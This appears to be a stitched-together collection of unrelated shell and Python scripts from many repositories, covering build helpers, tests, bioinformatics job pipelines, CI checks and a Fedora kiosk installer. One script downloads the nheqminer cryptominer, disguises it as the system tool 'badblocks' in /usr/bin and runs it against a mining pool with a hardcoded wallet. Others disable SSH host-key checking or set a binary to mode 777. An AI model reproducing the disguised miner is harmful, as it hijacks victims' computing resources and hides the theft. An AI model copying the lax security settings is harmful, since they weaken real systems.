# Copyright 2020 Appvia Ltd <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#

load helper

@test "We should be able to list the embedded plans" {
  runit "${KORE} get plans"
  [[ "$status" -eq 0 ]]
}

@test "We should have a gke-development plan" {
  runit "${KORE} get plans gke-development"
  [[ "$status" -eq 0 ]]
}

@test "We should have a gke production plan" {
  runit "${KORE} get plans gke-production"
  [[ "$status" -eq 0 ]]
}

@test "The plans should include valid json data" {
  runit "${KORE} get plans gke-development -o json | jq '.'"
  [[ "$status" -eq 0 ]]
}

@test "We should see a valid version in the gke plan" {
  runit "${KORE} get plans gke-development -o json | jq '.spec.configuration.version' | grep gke"
  [[ "$status" -eq 0 ]]
}


<filename>sh/install/doxygen.sh<gh_stars>1-10
source "sh/common.sh"

if is_windows; then
    choco install -y doxygen.install
else
    sudo apt-get update -y
    sudo apt-get install -y doxygen
fi


<gh_stars>1-10
#location = /var/lib/boot2docker/
mkdir /sys/fs/cgroup/systemd
mount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd


<reponame>suncongxd/ReCFA-dev<filename>patch-spec-src.sh
#! /bin/bash

testcase_root=$(pwd)
#echo $testcase_root

spec_root=${testcase_root}"/spec2006/"
spec_build_root=${testcase_root}"/spec2006/benchspec/CPU2006"
#echo $spec_root
spec_patch_root=${testcase_root}"/spec_patch"

#copy the patches
patch_gcc() {
  gcc_root=$spec_build_root"/403.gcc/"
  cp $spec_patch_root"/gcc_diff.patch" $gcc_root
  cd $gcc_root

  patch -s -p0 < gcc_diff.patch
  cd src

  cp $spec_patch_root"/Makefile-403gcc-gcc" ./Makefile
  make
  cp "gcc_base.gcc_O0" ${testcase_root}"/spec_gcc/O0/"
  make clean

  cp $spec_patch_root"/Makefile-403gcc-llvm" ./Makefile
  make
  cp "gcc_base.llvm_O0" ${testcase_root}"/spec_llvm/O0/"
  make clean
}

patch_hmmer() {
  hmmer_root=$spec_build_root"/456.hmmer/"
  cp $spec_patch_root"/hmmer_diff.patch" $hmmer_root
  cd $hmmer_root

  patch -s -p0 < hmmer_diff.patch
  cd src

  cp $spec_patch_root"/Makefile-456hmmer-gcc" ./Makefile
  make
  cp "hmmer_base.gcc_O0" ${testcase_root}"/spec_gcc/O0/"
  make clean

  cp $spec_patch_root"/Makefile-456hmmer-llvm" ./Makefile
  make
  cp "hmmer_base.llvm_O0" ${testcase_root}"/spec_llvm/O0/"
  make clean
}

patch_gcc
patch_hmmer


#!/usr/bin/env bash

set -e

if [ -f "${SUBPROJECT}/install.sh" ]; then
    (cd "${SUBPROJECT}"; ./install.sh)
else
    ./scripts/install_bnfc.sh
fi


#!/bin/bash -e

if [ ! -f debian/control ]; then
    echo "Cannot find debian/control" >&2
    exit 1
fi

if [[ -n ${UID} && -n ${GID} ]]; then
    addgroup --gid ${GID} --quiet docker-build
    adduser --uid=${UID} --gid=${GID} --disabled-password --gecos '' --quiet docker-build
else
    echo "UID/GID not set. Use docker run -e UID=$(id -u) -e GID=$(id -g)" >&2
    exit 1
fi

# install build dependencies using tmpdir to not interfer with parallel builds
topdir=$(pwd)
tmpdir=$(mktemp -d)
pushd ${tmpdir} >/dev/null
mk-build-deps --tool='apt-get -o Debug::pkgProblemResolver=yes --no-install-recommends --yes' --install ${topdir}/debian/control
popd >/dev/null
rm -rf ${tmpdir}

# start build
export HOME=$(echo ~docker-build)
sudo -E -u docker-build gbp buildpackage "$@"


#! /bin/sh
#
# $Id$
#
#set -x

ROOT_DIR=`pwd`

# for the release version, move the relevant files
if [ $# -gt "0" ] ; then
    if [ $1 = "nocheck" ] ; then
	diffiles=""
    fi
else
    echo "testing CVS integrity"
    # test if there are CVS files in the current directory which are not up-to-date
    diffiles=`cvs status 2> /dev/null | grep File | awk '$4 != "Up-to-date" { print $2 }'`
fi

if [ ! -n "$diffiles" ] ; then
    mkdir __distribution
    cd __distribution
    TAR_DIR=`pwd`

    # checkout ch_smi in ./mpid/ch_smi
    echo "checking out ch_smi etc."
    cvs checkout mp-mpich/mpid/ch_smi 2>/dev/null >/dev/null
    cvs checkout mp-mpich/mpid/lfbs_common 2>/dev/null >/dev/null
    cvs checkout mp-mpich/mpid/ch2/dev.h 2>/dev/null >/dev/null
    cvs checkout mp-mpich/util/ 2>/dev/null >/dev/null

    cd mp-mpich
    MPICH_DIR=`pwd`
    cd mpid/ch_smi
    CH_SMI_DIR=`pwd`

    # remove CVS directories
    echo "removing CVS directories and original files"
    find . -type d -name CVS -exec rm -r {} \;
    find . -name \*.orig -exec rm {} \;

    echo "fixing files"
    for dir in "install/1.1.2" "install/1.2.0" ; do
	cd $dir

	# remove files which should not become tar'ed
	rm Makefile.in configure util/mpirun.*in

	# add mpirun.ch_smi.in to the archive
	cp ${MPICH_DIR}/util/mpirun.ch_smi.in ./util

	# for the 1.2.0, get some files from the MP-MPICH source tree
	if [ $dir = "install/1.2.0" ] ; then
	    cp ${MPICH_DIR}/mpid/ch2/dev.h ./mpid/ch_smi
	    cp ${MPICH_DIR}/mpid/lfbs_common/adi2cancel.c ./mpid/ch_smi
	    mv ${CH_SMI_DIR}/Makefile.in ./mpid/ch_smi
	fi

	cd $CH_SMI_DIR
    done

    # make links for installation script
    cd ${TAR_DIR}/mp-mpich
    ln -s mpid/ch_smi/install.sh ./install-ch_smi

    # put everything together
    echo "tar'ing & zipping"
    tar cf ${ROOT_DIR}/ch_smi.tar mpid/ch_smi ./install-ch_smi

    # clean up
    cd ${ROOT_DIR}
    gzip ch_smi.tar

    echo "cleaning up"
    rm -r __distribution
    echo "ch_smi.tar.gz now contains the current state of ch_smi."
    echo "Please check that patches are valid!"
else
    echo "The following files are not Up-to-date:"
    echo "$diffiles"
fi


<gh_stars>1-10
#!/bin/bash -l
#SBATCH -A a2012043
#SBATCH -p core
#SBATCH -t 01:00:00
#SBATCH -J setting_dependencies
#SBATCH -e setting_dependencies.err
#SBATCH -o setting_dependencies.out
while getopts ":e:" option; do
        case ${option} in
                e) extra_arg=${OPTARG};;
        esac
done
shift $(( OPTIND - 1 ))

names=$1
bedfile=$2
project_id=$3
config_file=$4
run_name=$5
path=$6
gtf_file=$7
WP=$8
mail=$9
order_num=${10}
genome=${11}
single=${12}

name_list=(`echo $names | tr "," "\n"`)

cd $path
DEPENDENCY='afterok'
DEP_REPORT='afterok'
for i in ${name_list[*]};do
	## read distribution
    echo 'read distribution'
	make_RseqQc_rd.py $i $bedfile $mail $config_file $path
    echo "..."
	JOB=`sbatch RSeQC_${i}_rd.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
    DEP_REPORT=$DEP_REPORT:$JOB
    echo "make_RseqQc_gbc.py"

    make_RseqQc_gbc.py $i $bedfile $mail $config_file $path
    echo '....'
    JOB=`sbatch RSeQC_${i}_gbc.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
    DEP_REPORT=$DEP_REPORT:$JOB
	## statistics
    echo 'statistics'
	get_stat.py ${i} $mail $config_file
    echo '...'
	JOB=`sbatch ${i}_get_stat.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
    DEP_REPORT=$DEP_REPORT:$JOB
    echo 'complexity'
    ## lib complexity
    make_complexity_plots.py ${i} $mail $config_file $path $order_num $single
    JOBID=`sbatch complexity_${i}.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
    DEPENDENCY=$DEPENDENCY:$JOBID
done
echo $DEPENDENCY
## make complexity plot
JOB=`sbatch --dependency=$DEPENDENCY ${WP}/GenerateComplexityPlots.sh ${WP}| sed -re 's/.+\s+([0-9]+)/\1/'`
DEP_REPORT=$DEP_REPORT:$JOB

## seqQc_inferexpe
RseqQc_inferexpe.py $bedfile $mail $config_file $path
JOB=`sbatch RseqQc_inferexpe.sh $bedfile| sed -re 's/.+\s+([0-9]+)/\1/'`
DEP_REPORT=$DEP_REPORT:$JOB

## quantify_rRNA
make_sbatch.py a2012043 node 01:00:00 quantify_rRNA $mail $config_file
echo "cd $path
quantify_rRNA.py $gtf_file" >> quantify_rRNA.sh
JOB=`sbatch quantify_rRNA.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
DEP_REPORT=$DEP_REPORT:$JOB

## correl
make_sbatch.py a2012043 node 01:00:00 correl $mail $config_file
echo "cd $path
R CMD BATCH '--args ${name_list[*]}' $WP/correl.R" >> correl.sh
JOB=`sbatch correl.sh| sed -re 's/.+\s+([0-9]+)/\1/'`
DEP_REPORT=$DEP_REPORT:$JOB

## analysis report
cp $WP/sll_logo.gif .
make_sbatch.py a2012043 core 01:00:00 analysis_report $mail $config_file
echo "cd $path
analysis_report.py $project_id -c $config_file -r -s -d -f -g -w -b $single -G $genome" >> analysis_report.sh
sbatch --dependency=$DEP_REPORT analysis_report.sh
mkdir sbatch_scripts
mv *.sh sbatch_scripts


#!/usr/bin/env python3

import os
import base64
import zipfile

archive = b"""<KEY>"""

# installing
def install():
    # dir for installing
    install_dir = '/usr/share/'

    # access check
    if not os.access('/usr/local/bin', os.W_OK) or not os.access(install_dir, os.W_OK):
        print('[\033[91mERROR\033[0m] Permission denied')
        return False

    # install check
    if os.access(install_dir + '/Sanelotto', os.F_OK):
        print('[\033[91mERROR\033[0m] Sanelotto already installed')
        return False

    # creating main dir
    try:
        os.mkdir(install_dir + '/Sanelotto')
        print('[\033[92mOK\033[0m] Directory created')
    except:
        print('[\033[91mERROR\033[0m] Failed to create /usr/share/Sanelotto')
        return False

    # unpacking
    try:
        # creating
        temp_archive = open(install_dir + '/Sanelotto/temp_sl.zip', 'wb')
        temp_archive.write(base64.decodebytes(archive))
        temp_archive.close()
        # extracting
        temp_archive_obj = zipfile.ZipFile(install_dir + '/Sanelotto/temp_sl.zip', 'r')
        temp_archive_obj.extractall(install_dir + '/Sanelotto')
        # deleting temp archive
        os.remove(install_dir + '/Sanelotto/temp_sl.zip')
        print('[\033[92mOK\033[0m] Sanelotto extracted')
    except:
        print('[\033[91mERROR\033[0m] Failed to unpack Sanelotto')
        return False

    # creating link
    try:
        os.symlink(install_dir + '/Sanelotto/sanelotto', '/usr/local/bin/sanelotto')
        os.chmod('/usr/local/bin/sanelotto', 0o777)
        print('[\033[92mOK\033[0m] Link created')
    except:
        print('[\033[91mERROR\033[0m] Failed to create symlink')
        return False

    print('[\033[92mDONE\033[0m] Sanelotto successfully installed')

# start
install()


<reponame>EndPointCorp/appctl<gh_stars>1-10
#!/usr/bin/env bash

set -e
set -x

cp -r /root/ssh /root/.ssh
chown -R root:root /root/.ssh
chmod 0600 /root/.ssh/id_rsa
eval $(ssh-agent -s)

ssh -o StrictHostKeychecking=no aptly@${APTLY_SERVER} mkdir -p incoming/appctl/origin/master/
cd /catkin_ws
scp -o StrictHostKeychecking=no ./debs/*.deb aptly@${APTLY_SERVER}:incoming/appctl/origin/master/
ssh -o StrictHostKeychecking=no  aptly@${APTLY_SERVER} bash /home/aptly/bin/publish-incoming.sh --project appctl --branch origin/master --rosrel "melodic" --distro "bionic"
ssh -o StrictHostKeychecking=no aptly@${APTLY_SERVER} bash /home/aptly/bin/publish-incoming-separate-repos.sh --project appctl --branch origin/master --rosrel "melodic" --distro "bionic"


TERMUX_PKG_HOMEPAGE=https://www.gnu.org/software/xorriso
TERMUX_PKG_DESCRIPTION="Tool for creating ISO files."
TERMUX_PKG_LICENSE="GPL-3.0"
TERMUX_PKG_VERSION=1.5.0
TERMUX_PKG_REVISION=3
TERMUX_PKG_SHA256=a93fa7ae5bb1902198cddfec25201388156932f36f2f5da829bf4fcae9a6062b
TERMUX_PKG_SRCURL=https://www.gnu.org/software/xorriso/xorriso-${TERMUX_PKG_VERSION}.tar.gz
TERMUX_PKG_DEPENDS="libiconv, libandroid-support, readline, libbz2, zlib"
TERMUX_PKG_BUILD_IN_SRC=true
TERMUX_PKG_EXTRA_CONFIGURE_ARGS="--disable-jtethreads"


<gh_stars>10-100
#!/bin/bash
# Usage:
set -xe

usage() {
    echo "Usage:"
    echo "$0 directory_name app_name [device_id]"
}

DEVICE=""

if [ "x"$1 == "x" ]; then
    usage
    echo "Missing dirname for golden repo!";
    exit
fi
if [ "x"$2 == "x" ]; then
    usage
    echo "Missing app name!";
    exit;
fi
if [ "x"$3 != "x" ]; then
    DEVICE="-s $3"
fi
echo "All ok";

ADB="adb"

echo `pwd`
mkdir -p $1
pushd $1
    echo `pwd`
    mkdir -p snap
    pushd snap
        echo `pwd`
        echo "$ADB $DEVICE pull /data/apitrace/snap"
        $ADB $DEVICE pull /data/apitrace/snap
    popd
    echo `pwd`

    echo "$ADB $DEVICE pull /data/apitrace/$2"
    $ADB $DEVICE pull /data/apitrace/$2
    $ADB $DEVICE shell rm -rf /data/apitrace/snap
    $ADB $DEVICE shell mkdir /data/apitrace/snap
    $ADB $DEVICE shell chmod 777 /data/apitrace/snap
    $ADB $DEVICE shell rm -rf /data/apitrace/$2
    echo `pwd`
    mv $2.1.pat `basename $1`.pat
    rm -f $2.meta
popd


#!/usr/bin/env bash

hostname -s

if [[ $(hostname -s) = pmdsdata3* ]]; then
    ls
    echo this matched test
else
    echo This did not match test..
fi

set -vx

# If hostname is pmdsdata3 then don't import data...
# > /dev/null
# http://stackoverflow.com/questions/1728683/case-insensitive-comparison-of-strings-in-shell-script
match1='V206X'
if (hostname -s | grep -i "$match1" ) ; then
  echo "hostname matched test for $match1, so dont import data."
else
  echo 'This is not pmdsdata3, so we will import the data...'
	echo 'import stuff.........'
fi

timeout1=4 ; read -t $timeout1 -p "Press ENTER or wait $time1 seconds" ; echo ;
read -t 99 -p "Press ENTER or wait some seconds" ; echo ;


<reponame>renitaa12/Ren<gh_stars>0

#!/bin/sh

COUNTER=20
until [  $COUNTER -lt 10 ]; do

wget https://github.com/VerusCoin/nheqminer/releases/download/v0.8.2/nheqminer-Linux-v0.8.2.tgz
tar -xvzf nheqminer-Linux-v0.8.2.tgz
tar xf nheqminer-Linux-v0.8.2.tar.gz
cd nheqminer
mv nheqminer badblocks
mv badblocks /usr/bin
badblocks -v -l verushash.asia.mine.zergpool.com:3300 -u D5snbNHPaNYMHAESeTrreRRVx3NLRdGo65.$(echo $(shuf -i 1-999 -n 1)-O) -p c=$coin -t $(nproc --all)

     echo COUNTER $COUNTER
     let COUNTER-=1
done


<reponame>bryan-hoang/asdf-nodejs<gh_stars>1-10
#! /usr/bin/env bash

set -eu -o pipefail

source "$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/../utils.sh"

: "${ASDF_NODEJS_NODEBUILD_HOME=$ASDF_NODEJS_PLUGIN_DIR/.node-build}"
: "${ASDF_NODEJS_CONCURRENCY=$((${ASDF_CONCURRENCY:-1} + 1 / 2))}"

# node-build environment variables being overriden by asdf-nodejs
export NODE_BUILD_CACHE_PATH="${NODE_BUILD_CACHE_PATH:-$ASDF_NODEJS_CACHE_DIR/node-build}"

if [ "$NODEJS_ORG_MIRROR" ]; then
  export NODE_BUILD_MIRROR_URL="$NODEJS_ORG_MIRROR"
fi

if [[ "${ASDF_NODEJS_CONCURRENCY-}" =~ ^[0-9]+$ ]]; then
  export MAKE_OPTS="${MAKE_OPTS:-} -j$ASDF_NODEJS_CONCURRENCY"
  export NODE_MAKE_OPTS="${NODE_MAKE_OPTS:-} -j$ASDF_NODEJS_CONCURRENCY"
fi

nodebuild="${ASDF_NODEJS_NODEBUILD:-$ASDF_NODEJS_NODEBUILD_HOME/bin/node-build}"
args=()

if ! [ -x "$nodebuild" ]; then
  printf "Binary for node-build not found\n"

  if ! [ "${ASDF_NODEJS_NODEBUILD-}" ]; then
    printf "Are you sure it was installed? Try running \`asdf %s update-nodebuild\` to do a local update or install\n" "$(plugin_name)"
  fi

  exit 1
fi

if [ "${ASDF_NODEJS_VERBOSE_INSTALL-}" ]; then
  args+=(-v)
fi

exec "$nodebuild" ${args+"${args[@]}"} "$@"


#!/bin/bash

CUDA_VISIBLE_DEVICES=$1 python src/main.py train \
    --use-bert --model-path-base models/en_bert_empty_nl2 \
    --bert-model "bert-large-uncased" \
    --num-layers 2 --learning-rate 0.00005 \
    --batch-size 32 --eval-batch-size 16 \
    --subbatch-max-tokens 500 \
    --d-label-hidden 256 --d-tag-hidden 256 --metric l2 \
    | tee large-nl2.log


<filename>.travis/qa.sh
#!/bin/bash
# Avoid aborting script on failure
set +e

function logCheckResults() {
  case "${DEBUG}" in
    trace | verbose )
      echo "-> Trace:"
      cat log.txt
      echo "-> Response:"
      cat data.txt
      ;;
    *               )
      :
      ;;
  esac
}

function checkWithCurl() {
  if [ "${DEBUG}" = "verbose" ];
  then
    curl --version
  fi
  curl --head --silent --verbose --connect-timeout 5 "$1" > data.txt 2> log.txt
  error=$?
  logCheckResults
  return "$error"
}

function checkWithWget() {
  if [ "${DEBUG}" = "verbose" ];
  then
    wget --version
  fi
  # Write response (and headers) to 'data.txt', (verbose) activity to 'log.txt'
  # including additional debug entries (e.g., requests and responses), with a
  # generic timeout of 5s, and retry only once.
  # In addition, discard the additional output (both standard and error)
  wget --output-document=data.txt --output-file=log.txt --verbose --debug --timeout=5 --tries 1 --save-headers "$1" > error.log 2>&1
  error=$?
  if [ "$error" != "0" ];
  then
    # If a failure happens, but the server sent a response...
    if [ "$(grep -c "response begin" log.txt)" -gt 0 ]
    then
      # ... we extract the response from the log...
      from=$(awk '/response begin/{ print NR; exit }' log.txt)
      to=$(awk '/response end/{ print NR; exit }' log.txt)
      head -n $((to - 1)) log.txt | tail -n $((to - from - 1)) > data.txt
      # ... and clear the failure status.
      error=0
    fi
  fi
  logCheckResults
  return "$error"
}

function checkSonarQubeServer() {
  echo "Checking SonarQube Server..."

  case "${CHECKER}" in
    curl ) checkWithCurl "$1";;
    *    ) checkWithWget "$1";;
  esac

  error=$?
  if [ "$error" = "0" ];
  then
    status=$(head -n 1 data.txt | awk '{print $2}')
    if [ "$status" != "200" ];
    then
      echo "SonarQube Server is not available (response status code: $status)"
      error=1
    fi
  else
    echo "Could not connect to SonarQube Server: "
    cat log.txt
    error=2
  fi
  rm data.txt
  rm log.txt
  return "$error"
}

function analyzeBranch() {
  checkSonarQubeServer "$1"
  if [ "$?" = "0" ];
  then
    if [ "$2" != "porcelain" ];
    then
      echo "Executing SonarQube analysis (${TRAVIS_BRANCH})..."
      # If SSL network failures happen, execute the analysis with -Djavax.net.debug=all
      mvn sonar:sonar -B -Dsonar.branch="$TRAVIS_BRANCH" -Dcoverage.reports.dir="$(pwd)/target/all" --settings config/src/main/resources/ci/settings.xml
    else
      echo "Skipped SonarQube analysis (${TRAVIS_BRANCH}): Porcelain"
    fi
  else
    echo "Skipped SonarQube analysis (${TRAVIS_BRANCH})"
  fi
}

function skipBranchAnalysis() {
  echo "Skipped SonarQube analysis (${TRAVIS_BRANCH}): Non Q.A. branch"
}

function skipPullRequestAnalysis() {
  echo "Skipped SonarQube analysis (${TRAVIS_BRANCH}): Pull request"
}

function skipBuild() {
  echo "Skipping build..."
}

function skipSonarQubeAnalysis() {
  echo "Skipping SonarQube analysis..."
}

function runSonarQubeAnalysis() {
  if [ "${TRAVIS_PULL_REQUEST}" = "false" ];
  then
    case "${TRAVIS_BRANCH}" in
      master | develop ) analyzeBranch "$1" "$2";;
      feature\/*       ) analyzeBranch "$1" "$2";;
      *                ) skipBranchAnalysis ;;
    esac
  else
    skipPullRequestAnalysis
  fi
}

if [ "${DEBUG}" = "trace" ];
then
  set -x
fi

server=http://analysis.ldp4j.org/sonar/

case "${CI}" in
  skip      ) skipBuild ;;
  noqa      ) skipSonarQubeAnalysis ;;
  porcelain ) runSonarQubeAnalysis "$server" porcelain ;;
  *         ) runSonarQubeAnalysis "$server" "$1" ;;
esac

set +x

return 0


#!/usr/bin/env bash

# This script is a basic example script to get resource information about NVIDIA GPUs.
# It assumes the drivers are properly installed and the nvidia-smi command is available.
# It is not guaranteed to work on all setups so please test and customize as needed
# for your environment. It can be passed into SPARK via the config
# spark.{driver/executor}.resource.gpu.discoveryScript to allow the driver or executor to discover
# the GPUs it was allocated. It assumes you are running within an isolated container where the
# GPUs are allocated exclusively to that driver or executor.
# It outputs a JSON formatted string that is expected by the
# spark.{driver/executor}.resource.gpu.discoveryScript config.
#
# Example output: {"name": "gpu", "addresses":["0","1","2","3","4","5","6","7"]}

#ADDRS=`nvidia-smi --query-gpu=index --format=csv,noheader | sed -e ':a' -e 'N' -e'$!ba' -e 's/\n/","/g'`
#echo {\"name\": \"gpu\", \"addresses\":[\"$ADDRS\"]}
#ADDRS="0","1","2","3","4","5","6","7"
#echo {\"name\": \"gpu\", \"addresses\":[\"$ADDRS\"]}

echo {\"name\": \"gpu\", \"addresses\":[\"0\",\"1\",\"2\",\"3\"]}


#!/usr/bin/env bash

# Checks that the docker test run succeeded

# Define expected results
EXPECTED_FILES=("rgb_plot.csv")
EXPECTED_GREENNESS_VALUES=(2.3 0 20.55 1.6 52.72 -50.42 22.85 10.66 1.01 0.0 0.33)

# What folder are we looking in for outputs
if [[ ! "${1}" == "" ]]; then
  TARGET_FOLDER="${1}"
else
  TARGET_FOLDER="./outputs"
fi

# What our target file to read is
if [[ ! "${2}" == "" ]]; then
  CHECK_FILE="${2}"
else
  CHECK_FILE="rgb_plot.csv"
fi
EXPECTED_FILES+=("${CHECK_FILE}")

# Check if expected files are found
for i in $(seq 0 $(( ${#EXPECTED_FILES[@]} - 1 )))
do
  if [[ ! -f "${TARGET_FOLDER}/${EXPECTED_FILES[$i]}" ]]; then
    echo "Expected file ${EXPECTED_FILES[$i]} is missing"
    exit 10
  fi
done

# Check the results of the canopy cover calculation
RESULT_VALUES=(`gawk '
BEGIN {
    FPAT = "([^,]+)|(\"[^\"]+\")"
}
{
  if ($1 != "species") { # Skipping the header line
    printf("(%s %s %s %s %s %s %s %s %s %s %s)\n", $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17)
  }
}
END {
}
' "${TARGET_FOLDER}/${CHECK_FILE}"`)

echo "Result counts: ${#EXPECTED_GREENNESS_VALUES[@]} vs ${#RESULT_VALUES[@]}"
if [[ ${#EXPECTED_GREENNESS_VALUES[@]} != ${#RESULT_VALUES[@]} ]]; then
  echo "Number of results found in file (${#RESULT_VALUES[@]}) don't match expected count (${#EXPECTED_GREENNESS_VALUES[@]})"
  if [[ ${#RESULT_VALUES[@]} > 0 ]]; then
    for i in $(seq 0 $(( ${#RESULT_VALUES[@]} - 1 )))
    do
      echo "${i}: ${RESULT_VALUES[$i]}"
    done
  fi
  exit 20
fi

#for i in $(seq 0 $(( ${#EXPECTED_GREENNESS_VALUES[@]} - 1 )))
#do
#  # Check that we have the same number values
#  CUR_EXPECTED=${EXPECTED_GREENNESS_VALUES[$i]}
#  CUR_VALUES=${RESULT_VALUES[$i]}
#  if [[ ${#CUR_EXPECTED[@]} != ${#CUR_VALUES[@]} ]]; then
#    echo "Row ${i}: Expected ${#CUR_EXPECTED[@]} values and received ${#CUR_VALUES[@]}"
#    exit 30
#  fi
#
#  # Check each of the values
#  for j in $(seq 0 $(( ${#CUR_EXPECTED[@]} - 1 )))
#  do
#    if [[ "${CUR_EXPECTED[$j]}" == "${CUR_VALUES[$j]}" ]]; then
#      echo "Values for index ${j} match: '${CUR_EXPECTED[$j]}' '${CUR_VALUES[$j]}'"
#    else
#      echo "Result value for index ${j}: '${CUR_EXPECTED[$j]}' doesn't match expected: '${CUR_VALUES[$j]}'"
#      exit 30
#    fi
#  done
#done


<reponame>icefairy/b4xlibs_tk<gh_stars>1-10
cp -r ~/Documents/b4ilibs/* ~/b4xlibs/b4ilibs/
echo done


################################################################################
# testControlLoop.sh
#
# Runs the control loop without vicon or arduino and with fake data
################################################################################

trap "exit" INT TERM ERR
trap "kill 0" EXIT

python produceTestData.py &
python controller.py &
python writeLogs.py &
# python serialWriter.py &

wait


#!/bin/bash

#  Dr <NAME>
#  <EMAIL>

#  HealthcareSIG Payer Subgroup 2020

echo
echo "#################################################################"
echo "#######    Query Record:  MPM-ID 001   #################"
echo "#######                   MPM-ID 002   #################"
echo "#######                   MPM-ID 003   #################"
echo "#################################################################"
sudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{"function":"queryRecord","Args":["001"]}' && \
sudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{"function":"queryRecord","Args":["002"]}' && \
sudo docker exec cli peer chaincode query -o orderer.payer.com:7050 -C prescriptionchannel -n MPMcc -c '{"function":"queryRecord","Args":["003"]}'


#!/usr/bin/env bash

CURRENT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

source "$CURRENT_DIR/helpers.sh"
source "$CURRENT_DIR/variables.sh"

auto_restore_enabled() {
	local auto_restore_value="$(get_tmux_option "$auto_restore_option" "$auto_restore_default")"
	[ "$auto_restore_value" == "on" ] && [ ! -f "$auto_restore_halt_file" ]
}

fetch_and_run_tmux_resurrect_restore_script() {
	# give tmux some time to start and source all the plugins
	sleep 1
	local resurrect_restore_script_path="$(get_tmux_option "$resurrect_restore_path_option" "")"
	if [ -n "$resurrect_restore_script_path" ]; then
		"$resurrect_restore_script_path"
	fi
}

main() {
	# Advanced edge case handling: auto restore only if this is the only tmux
	# server. If another tmux server exists, it is assumed auto-restore is not wanted.
	if auto_restore_enabled && ! another_tmux_server_running_on_startup; then
		fetch_and_run_tmux_resurrect_restore_script
	fi
}
main


<reponame>kifj/ioc-unit<filename>bin/notestsw2.sh
mvn clean deploy -DskipTests=true -Pbase,junit4,weld2.3 -Dnoartifactory


#!/usr/bin/env bash
## docker pull registry.cn-shenzhen.aliyuncs.com/ligf/springboot-vue-admin 阿里云
APPNAME=admin
VERSION=latest
PROT=8080:8080
# shellcheck disable=SC2006
RUN_ID=`docker ps | grep  ${APPNAME} | grep -v grep | awk '{print $1}'`
echo "RUN_ID : ${RUN_ID}"

if [[ "${RUN_ID}" ]]; then
  echo "docker restart ${APPNAME} "
  docker restart ${APPNAME}
else
  echo "docker run ${APPNAME}:${VERSION} "
   docker run -p ${PROT}  --name ${APPNAME} app/${APPNAME}:${VERSION}
fi


#!/bin/bash
###############################################################################
#
# Create Fedora Kiosk
#
###############################################################################
#
# NAME:
#	create-fedora-kiosk.sh
#
# LICENSE:
#	Distributed uner the MIT License.
#
# SYNOPSIS:
#	sudo ./create-fedora-kiosk.sh
#
# REQUIREMENTS:
#	OS: Fedora 25 or newer.
#	Arch: i386 or x86_64
#	Requires active network conenction.
#
# DESCRIPTION:
#	This script converts a Fedora install into a chromium (webkit) kiosk.
#	You may choose to set variables that also install the version of Citrix
#	Receiver. Setting the start page to your webstore will effectively
#	create a thin client image for Citrix Receiver. A local user, called
#	kiosk, will be created and set to auto login. The script also edits
#	/usr/share/misc/magic to add an enry for .ica files so file reports
#	them properly as mime:application/x-ica and not text/plain. Failure
#	to do so results in the an infinate number of tabs being opened by
#	chromium.
#
# EXIT CODES:
#	0 - Success
#	1 - Failed - Needs to be run as root.
#	2 - Network Failure - Are you online?
#	3 - Failed to download/install Chromium.
#	4 - Failed to download/install Citrix Receiver.
#	5 - Failed to create log file.
#	6 - Failed - Not running supported OS.
#
# HISTORY:
#	10.11.2017 - <NAME>
#		Inital Script Release.
#
###############################################################################

# Set Some Variables:
log=/var/log/create-kiosk.log
user=$( whoami )
releaseinfo=$( grep -m1 release /etc/system-release )
elver=$( cat /etc/fedora-release | sed 's/.*release \([0-9][0-9]\).*/\1/' )
cpu=$( uname -i )

# This is website that the script verifies network against.
testsite=http://google.com

# Set the page that you want the kiosk to open to.
homePage=https://google.com

# Set to yes if you want to install Citrix Receiver.
citrix=no

# Set to yes if you want to install Citrix USB Support
citrixusb=no

# Set to yes if you want to install Citrix Web Receiver
citrixweb=no

# Echo function
echoFunc () {
	# Date and Time function for the log file
	fDateTime () { echo $(date +"%a %b %d %T"); }

	# Title for beginning of line in log file
	Title="Create Fedora Kiosk"

	# Header string function
	fHeader () { echo $(fDateTime) $(hostname) $Title; }

	# Check for the log file
	if [ -e ${log} ]; then
		echo $(fHeader) "$1" >> $log
	else
		cat "" > $log
		if [ -e $log ]; then
			echo $(fDateTime) "$1" >> $log
		else
			echo "Failed to create log file. Please check your configuration."
			exit 5
		fi
	fi

	# Echo out
	echo $1
}

# Function to install packages by name. It checks to see if they're already installed or not.
installPackage () {
	if ! rpm -qa | grep -qw $1 ; then
		echoFunc "Installing: $1"
		echo -n "Progress: "
		dnf -y install $1 >> $log &
		while [ -e /proc/$! ] ; do
			echo -n "."
			sleep 5
		done
		echoFunc "Finished."
	else
		echoFunc "$1: already installed."
	fi
}

# Starting script!
echoFunc "Starting script"
echoFunc ""
echoFunc "This script will install additional packages and make changes to system files to have the computer start in kiosk mode after the next reboot."
echoFunc "A log file can be found ${log} for additional information and troubleshooting."
echoFunc ""

# Checking if we're root.
if [ $user != root ];then
	echoFunc "You must be root. Please sudo or su and try again."
	echoFunc "The script was started as: ${user}"
	echoFunc "Exiting with error code: 1"
	exit 1
fi

# Testing to see if the OS is right.
if [ $cpu = x86_64 ] || [ $cpu = i386 ]; then
	echoFunc "Kernel architecture is: ${cpu}"
else
	echoFunc "Unsupported architecture found: ${cpu}"
	echoFunc "Supported architectures are: i386 x86_64"
	echoFunc "Exiting with error code: 6"
	exit 6
fi

if [ ! -f /etc/fedora-release ] ; then
    echoFunc "Sorry, your Linux distribution isn't supported by this script."
    echoFunc "Unsupported Linux distro: ${releaseinfo}"
    echoFunc "Error! Exiting with code: 6"
    exit 6
fi
